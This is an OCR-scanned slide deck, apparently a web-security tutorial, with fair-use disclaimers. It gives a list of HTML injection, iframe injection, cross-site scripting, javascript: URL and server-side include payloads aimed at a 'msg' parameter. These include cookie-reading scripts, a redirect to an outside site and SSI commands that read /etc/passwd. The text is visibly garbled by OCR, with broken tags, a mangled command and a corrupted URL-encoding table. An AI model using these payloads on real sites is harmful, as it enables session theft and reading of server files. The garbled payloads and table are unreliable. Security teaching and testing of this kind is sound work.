INJECTIONS & ATTACKS
(HTIL, SQL, X55)



DISCLAIMER

This document does not promote or encourage any lllegal activities, all content provided in
this document is meant for education, research purposes. The document is not
transformative in nature, it is used for teaching purpose.

Copyright Disclaimer Under Section 107 of the Copyright Act 1976, allowance is made for
"fair use" for purposes such as criticism, commenting, news reporting, teaching, scholarship,
and research. Fair use is a use permitted by copyright statute that might otherwise be
infringing. Non-profit, educational or personal use tips the balance in favor of fair use.

The document is created with the intention of educating others in a motivational/inspirational
form. Do not try to use the scripts/code/methods if it is not legal in your country.

| Do not take any responsibility for anything you do using this document, Use at your own
risk.
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HTML INJECTION GET REFLECTED

Reflected GET

It is easy to determine a web-based application is vulnerable to XSS attacks very easily. A simple easy test is to take a current parameter
that is sent in the HTTP GET request and modify it. Take for example the following request in the browser address URL bar. This url will take
a name parameter that you enter in a textbox and print something on the page

For example:

The Below example is a based on reflected HTML Injection where we can see that a parameter value is
’msg=You+are+not+an+authorized+user

Note: The information posted in this document is for Research & Educational purpose only, illegal use of this document may violate the security law varies upon the
country. Do not try this for offensive purpose.
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HTML INJECTION GET REFLECTED
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> not an authorized user

g — ——

554n8

Can't see clearly? Click here
erification

Please type the five letter text above in the image

secure Digital
ey

Choose File  No file chosen

Login

This is the core area in which HTML injection can be check

Note: The information posted in this document is for Research & Educational purpose only, illegal use of this document may violate the security law varies upon the
country. Do not try this for offensive purpose.
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HTML INJECTION PARAMETERS

?msg=<hl1>Hacked</h1>

Hacked

Username

Password

7Eicha

Image | Can't see clearly? Click here |
Verification -

Please type the five letter text abowve in the image

Secure Digital

Choose File | Mo file chosen
Key = = =

Login

Note: If the Behavior of Text become changed it means that HTML Injection is in place.

Note: The information posted in this document is for Research & Educational purpose only, illegal use of this document may violate the security law varies upon the
country. Do not try this for offensive purpose.
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HTML INJECTION

?msg=<li>Hacked</li>

?msg=<body style="background-color:lightgrey;">

?msg=<marquee>hello</marquee>

’msg=<a href=" ”>HyperLinked for Google </a>

?msg=<body style="background-image:url( >
’msg=<img src=" " alt="Object Reference Call" height="42" width="42">
?msg=<imgsrc=prompt(0)></script>

?msg=</title id="a"><img src=x onerror=alert(9)>

?msg=<IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img>

?msg="><button onclick=prompt(1)>XSS</button>

<input type="text” name="email” size="40" value="aaa@aa.com”><script>alert(document.cookie)</script>

<iframe width="560" height="315" src="https://www.youtube.com/embed/8mBkgleGGV8" frameborder="0" allowfullscreen></iframe>

Note: The information posted in this document is for Research & Educational purpose only, illegal use of this document may violate the security law varies upon the
country. Do not try this for offensive purpose.
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IFRAME INJECTION
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IFRAME INJECTION

<iframesrc=http://ubaidjafri.com/encyclo/attacks.html/>
<|FRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>

Note: The information posted in this document is for Research & Educational purpose only, illegal use of this document may violate the security law varies upon the
country. Do not try this for offensive purpose.
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CROSS SITE SCRIPTING

?msg=;<script>alert(document.cookie)</script>
?msg=;<script>alert(document.write)</script>
?msg=;<script>alert(document.domain)</script>
?msg=<<SCRIPT>alert("XSS");//<</SCRIPT>
?msg=;<script>alert(document.location);</script>
?msg=;<script>prompt(0);</script>

Note: The information posted in this document is for Research & Educational purpose only, illegal use of this document may violate the security law varies upon the
country. Do not try this for offensive purpose.
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DOM BASED CROSS SITE SCRIPTING

’msg=<meta http-equiv="refresh" content="0;">
?msg=100<br>title=Last+Chance!
?msg=<META http-equiv="refresh" content="5;URL=http://www.ubaidjafri.com">

Note: The information posted in this document is for Research & Educational purpose only, illegal use of this document may violate the security law varies upon the
country. Do not try this for offensive purpose.
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JAVA SCRIPT INJECTION

?msg=<STYLE>li {list-style-image: url("javascript:alert('XSS")");}</STYLE><UL><LI>XSS</br>
?msg=<<A HREF="javascript:document.location="http://www.google.com/'"' >XSS</A>
?msg=;<script>alert(String.fromCharCode(72, 79, 67))</script>
?msg=</title>1<ScRiPt>prompt(document.cookie)</ScRiPt>

Note: The information posted in this document is for Research & Educational purpose only, illegal use of this document may violate the security law varies upon the
country. Do not try this for offensive purpose.
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SERVER SIDE INJECTION

msg?=<!--#fexec cmd="/bin/echo '<SCR"'--><!|--#exec cmd="/bin/echo"-->
?msg=<pre><!--#exec cmd="uname -a" --></pre>

?msg=<pre><!--#fexec cmd="1Is /" --></pre>

?msg=<pre><!--#fexec cmd="cat /etc/passwd" --></pre>

Note: The information posted in this document is for Research & Educational purpose only, illegal use of this document may violate the security law varies upon the
country. Do not try this for offensive purpose.
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HTML ENCODED PARAMETERS

The default character-set in HTML5 is UTF-8

Chr Windows-1252 UTF-8 Chr Windows-1252 UTF-8
space %20 %20 %4D %4D
I %21 %21 %4E %4E
! %22 %22 %4F %4F
%23 %23 %50 %50
%24 %24 %51 %51
%25 %25 %52 %52
& %26 %26 %53 %53
' %27 %27 %54 %54
( %28 %28 %55 %55
) %29 %29 %56 %56
* %2A %2A %57 %57
+ %2B %28 %58 %58
, %2C %2C %59 %59
- %2D %2D %5A %5A
%2E %2E %5B %5B
/ %2F %2F %5C %5C

N-<><E<C—|U7;UD'UOZ§

Note: The information posted in this document is for Research & Educational purpose only, illegal use of this document may violate the security law varies upon the
country. Do not try this for offensive purpose.




HTML ENCODED PARAMETERS(CONT'D)

0

O 0| N| oo | | W N =

%30

%31
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%34
%35
%36
%37
%38
%39
%3A
%3B
%3C
%3D
%3E
%3F
%40
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HTML ENCODED PARAMETERS(CONT'D)

A %41 %41 n %6E %6E
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country. Do not try this for offensive purpose.




HTML ENCODED PARAMETERS(CONT’'D)
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%CB%86
%E2%80%B0
%C5%A0
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%C5%BD
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%E2%80%98
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HTML ENCODED PARAMETERS(CONT'D)
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HTML ENCODED PARAMEI'ERS(CONT )
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THANKYOU
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